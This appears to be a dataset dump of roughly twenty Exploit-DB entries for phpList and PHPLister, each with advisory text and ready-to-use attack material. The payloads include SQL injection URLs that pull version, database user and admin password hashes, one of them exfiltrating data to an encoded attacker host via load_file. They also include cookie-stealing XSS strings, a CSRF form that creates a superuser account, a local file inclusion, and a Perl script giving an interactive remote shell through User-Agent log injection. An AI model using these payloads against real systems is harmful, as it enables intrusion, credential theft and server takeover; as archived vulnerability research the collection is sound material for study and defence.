deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18639
Description: phpList 2.10.17 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-21
Author: LiquidWorm

Exploit:
phpList 2.10.17 Remote SQL Injection and XSS Vulnerability


Vendor: phpList Ltd
Product web page: http://www.phplist.com
Affected version: 2.10.17

Summary: phplist is the world's most popular open source
email campaign manager. phplist is free to download, install
and use, and is easy to integrate with any website. phplist
is downloaded more than 10,000 times per month.

Desc: Input passed via the parameter 'sortby' is not properly
sanitised before being returned to the user or used in SQL queries.
This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code. The param 'num' is vulnerable to a XSS issue
where the attacker can execute arbitrary HTML and script code in
a user's browser session in context of an affected site.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Vendor status:

[05.03.2012] Vulnerabilities discovered.
[19.03.2012] Submited details to the vendor's bug tracking system.
[19.03.2012] Vendor investigates, confirms and fixes the issues.
[19.03.2012] Sent patch release coordination to the vendor.
[21.03.2012] Vendor releases version 2.10.18 to address these issues.
[21.03.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5081
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5081.php

Vendor Advisory: https://www.phplist.com/?lid=567
                 https://mantis.phplist.com/view.php?id=16557


05.03.2012

---


SQLi: http://localhost/public_html/lists/admin/?blacklisted=1&change=Vai&find=&findby=email&id=0&page=users&sortorder=desc&start=0&unconfirmed=1&sortby=1[SQL Injection Point]

XSS:  http://localhost/public_html/lists/admin/?num=<script>alert(1);</script>&option=bounces&page=reconcileusers
Exploit-DB #37613
Description: phpList 2.10.18 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/54912/info

PHPList is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to PHPList 2.10.19 are vulnerable. 

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select version() --

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) --

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) --
Exploit-DB #37590
Description: phpList 2.10.18 - 'unconfirmed' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/54887/info

PHPList is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHPList 2.10.18 is vulnerable; other versions may also be affected.

http://www.example.com/admin/?page=user&find=1&unconfirmed=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
Exploit-DB #28824
Description: phpList 2.10.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-17
Author: b0rizQ

Exploit:
source: https://www.securityfocus.com/bid/20577/info

PHPList is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.10.2 is vulnerable; other versions may also be affected.

http://www.example.com/phplist/index.php?p="><script>alert(1);</script>
Exploit-DB #7778
Description: phpList 2.10.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-14
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################


####################
- Description:
####################

Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."


####################
- Vulnerability:
####################

+--> Local File Inclusion

Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.

Code Snippet:
/lists/admin.php #line:10-18

if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
  # fix register globals, for now, should be phased out gradually
  # sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
  # should be off, but going through three years of code takes a long time....

  foreach ($_REQUEST as $key => $val) {
    $$key = $val;
  }
}

/lists/admin.php #line:41-56

if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
  print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
  include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
  print '<!-- using '.$cline["c"].' -->'."\n";
  include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
#  print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
  include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
  print '<!-- using ../config/config.php -->'."\n";
  include "../config/config.php";
} else {
  print "Error, cannot find config file\n";
  exit;
}

####################
- POC:
####################

http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess

####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2009-01-14]
Exploit-DB #37318
Description: phpList 2.10.9 - 'Sajax.php' PHP Code Injection
Type: webapps
Platform: php
Date: 2012-05-26
Author: L3b-r1'z

Exploit:
source: https://www.securityfocus.com/bid/53693/info

PHPList is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

PHPList 2.10.9 is vulnerable; other versions may also be affected.

# --------------------------------------- #
# This PoC was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
# --------------------------------------- #
# 1) Bug
# 2) PoC
# --------------------------------------- #
# 2) Bug :
# An attacker might execute arbitrary PHP code with this vulnerability.
# User tainted data is embedded into a function that compiles
# PHP code on the run and #executes it thus allowing an attacker to inject
own PHP code that will be
# executed. This vulnerability can lead to full server compromise.
# Look To The File Named (Sajax.php) In Dir (admin/commonlib/lib) On Line
(63)
# 63. $func_name = $_POST["rs"];
#       if (! empty($_POST["rsargs"]))
#         $args = $_POST["rsargs"];
#       else
#         $args = array();
#     }
#
#     if (! in_array($func_name, $sajax_export_list))
#       echo "-:$func_name not callable";
#     else {
#       echo "+:";
# 74.      $result = call_user_func_array($func_name, $args);
#       echo $result;
#     }
#     exit;
#   }
# So We Have Variable Func Name With Post rs :)
# In Above Of Code We Have $_GET['rs']; So This Is An Attacker Wan't It.
# Look To Line (74).
# Call_User_Func_Array($func_name, $args);
# Attacker Can Inject In Get Paramater Or POST PHP Code.
# --------------------------------------- #
# 3) PoC :
# <?php
# $target = $argv[1];
# $ch = curl_init();
# curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
# curl_setopt($ch, CURLOPT_URL, "http://$target/Sajax.php");
# curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)");
# curl_setopt($ch, CURLOPT_POST, 1);
# curl_setopt($ch, CURLOPT_POSTFIELDS, "rs=whoami");
# curl_setopt($ch, CURLOPT_TIMEOUT, 3);
# curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
# curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
# curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
# $buf = curl_exec ($ch);
# curl_close($ch);
# unset($ch);
# echo $buf;
# ?>
Exploit-DB #18419
Description: phpList 2.10.9 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-26
Author: Cyber-Crystal

Exploit:
+-------------------------------------------------------------------------+
# Exploit Title : phplist - version 2.10.9 CSRF/XSS Vulnerability
# version       : 2.10.9                                                                                                                           
# Author        : Cyber-Crystal                                              
# Date          : n/a   
# Dork          : inurl:"powered by phplist - version 2.10.9"
# Software Link : http://www.phplist.com/                                                                                  
+-------------------------------------------------------------------------+

+---+[CSRF Add Admin Acuonnt by Cyber-Crystal]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method="POST" name="form2" action="http://localhost/lists/admin/?page=admin&start=">
<input type="hidden" name="id" value="0"/>
<input type="hidden" name="loginname" value="root"/>
<input type="hidden" name="email" value="ss@ss.com"/>
<input type="hidden" name="password" value="toor"/>
<input type="hidden" name="superuser" value="1"/>
<input type="hidden" name="disabled" value=""/>
<input type="hidden" name="cbattribute[]" value="1"/>
<input type="hidden" name="attribute[1]" value="Checked"/>
<input type="hidden" name="change" value="Save Changes"/>

<input type="submit" value="exploit" />
</form>
</body>
</html>

+---+[XSS Send post ]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method=post action="http://localhost/lists/admin/?page=send&id=1&tab=Format" name="sendmessageform">
<input type=hidden name="workaround_fck_bug" value="1">
<input type=hidden name="htmlformatted" value="auto">
<input type=submit name=sendtest value="Exploit">
<input type=text name="testtarget" size=40 value='[XSS HERE]'>
<input type=hidden name=id value=7>
<input type=hidden name=status value="draft">
<input type=hidden name=expand value="0">
</form>
</body>
</html>

#-----------------------------------#
|  by Cyber-Crystal 			    |
|  								    |
|  Mail : Cyb3r.Crystal@Gmail.com   |
|  Home // www.v4-team.com/cc		|
|     						        |
#-----------------------------------#
Greetz 2 : Secure-x41 | Fox Hacker | Or4nG.M4n | SadHacker | Mr.Black | Red Virus | aBu.HaLiL501 | T7 | Sniper_IRaq || # All Man 0_0



# the End
Exploit-DB #35664
Description: phpList 2.10.x - 'email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-26
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47580/info

PHPList is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPList 2.10.13 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main"
enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value=&#039;email2@example.com"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #7897
Description: phpList 2.10.x - Remote Code Execution / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-28
Author: mozi

Exploit:
# phplist 2.10.x remote code execution
# Credit:AmnPardaz Security Research Team for the vuln
# exploit author mozi2weed@yahoo.com
#
# Poc
#[root@server pentest]# perl phplistrce.pl http://www.helpcenter.it/list/
#phplist 2.10.x 0day RCE may b others by mozi: uname -a
#686 i686 i386 GNU/Linux
#mozi: w
# 04:43:41 up 108 days, 21:20,  0 users,  load average: 0.24, 0.29, 0.28
#USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
#mozi:
#
#
Exploit Code:
[root@server pentest]# cat phplistrce.pl
#!/usr/bin/perl -w
use strict;
use LWP 5.64;
use LWP::UserAgent;
use MIME::Base64;


print "phplist 2.10.x 0day RCE may b others by ";

my $browser = LWP::UserAgent->new;
my $url1 = $ARGV[0];
my ($line,$response);


my $url .= "L2FkbWluL2luZGV4LnBocD9fU0VSVkVSW0NvbmZpZ0ZpbGVdPS4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Byb2Mvc2VsZi9lbnZpcm9u";
my $decode = decode_base64($url);

my $all = $url1.$decode;

print "mozi: ";
while( $line = <STDIN>) {
chop($line);
$browser->agent("mozi<?passthru('$line 2> /dev/stdout');?>mozi");
$response = $browser->get( $all );
if ($response->content =~ /mozi(.*)mozi/s) {
print $1;
}
print "mozi: ";
}

# milw0rm.com [2009-01-28]
Exploit-DB #36048
Description: phpList 2.10.x - Security Bypass / Information Disclosure
Type: webapps
Platform: php
Date: 2011-08-15
Author: Davide Canali

Exploit:
source: https://www.securityfocus.com/bid/49188/info

PHPList is prone to a security-bypass vulnerability and an information-disclosure vulnerability.

An attacker can exploit these issues to gain access to sensitive information and send arbitrary messages to registered users. Other attacks are also possible. 

http://www.example.com/lists/?p=forward&uid=VALID_UID&mid=ID
http://www.example.com/lists/?p=forward&uid=foo&mid=ID
Exploit-DB #13781
Description: phpList 2.8.11 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-08
Author: d3v1l

Exploit:
[~]----------------------------------------------------------------------------------------------------------------------- 
[~] phplist version 2.8.11 SQL Injection Vulnerability 
[~] 
[~] http://www.phplist.com/ 
[~] 
[~] 
[~] ---------------------------------------------------------------------------------------------------------------------- 
[~] Bug founded by d3v1l [Avram Marius] 
[~] 
[~] Date: 08.05.2010 
[~] 
[~] 
[~] http://security-sh3ll.blogspot.com 
[~] 
[~] ---------------------------------------------------------------------------------------------------------------------- 
[~] newmail/archive.php?id= SQL 
[~] 
[~] 
[~] Ex - The Information Security Writers Newsletter - website
[~] 
[~] http://[site]/newmail/archive.php?id= 
[~]
[~] http://www.infosecwriters.com/newmail/archive.php?id=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19/* 
[~]------------------------------------------------------------------------------------------------------------------------
Exploit-DB #26045
Description: phpList 2.8.12 - Admin Page SQL Injection
Type: webapps
Platform: php
Date: 2005-07-28
Author: tgo

Exploit:
source: https://www.securityfocus.com/bid/14403/info

PHPList is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/public_html/lists/admin/?page=admin&id=INJECT HERE
http://www.example.com/lists/admin/?page=members&id=1%20union%20select%20null,password,null,null%20from%20phplist_admin%20where%20superuser=1/*sp_password
Exploit-DB #28790
Description: phpList 2.x - Public Pages MultipleCross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-10-12
Author: Michiel Dethmers

Exploit:
source: https://www.securityfocus.com/bid/20483/info

phpList is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to 2.10.3 are vulnerable to this issue.

http://www.example.com/phplist_path/?p=unsubscribe&id=1&unsubscribeemail=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #26481
Description: PHPList Mailing List Manager 2.x - '/admin/admin.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-07
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15350/info

PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.

The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=admin&id=1'[SQL]
Exploit-DB #26484
Description: PHPList Mailing List Manager 2.x - '/admin/configure.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-07
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15350/info
   
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
   
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=configure&id="><script>alert(document.cookie)</script>
Exploit-DB #26482
Description: PHPList Mailing List Manager 2.x - '/admin/editattributes.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-07
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15350/info
 
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
 
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=editattributes&id=1'[SQL]
Exploit-DB #26483
Description: PHPList Mailing List Manager 2.x - '/admin/eventlog.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-11-07
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15350/info
  
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
  
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=eventlog&s=0&filter="><script>alert(document.cookie)</script>
http://www.example.com/lists/admin/?page=eventlog&start=&delete="><script>alert(document.cookie)</script>
http://www.example.com/lists/admin/?page=eventlog&start="><script>alert(document.cookie)</script>
Exploit-DB #26485
Description: PHPList Mailing List Manager 2.x - '/admin/users.php?find' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-07
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15350/info
    
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
    
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=users&find="><script>alert(document.cookie)</script>
Exploit-DB #27675
Description: PHPLister 0.4.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-18
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17591/info

phpLister is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 0.4.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/index.php?page=XSS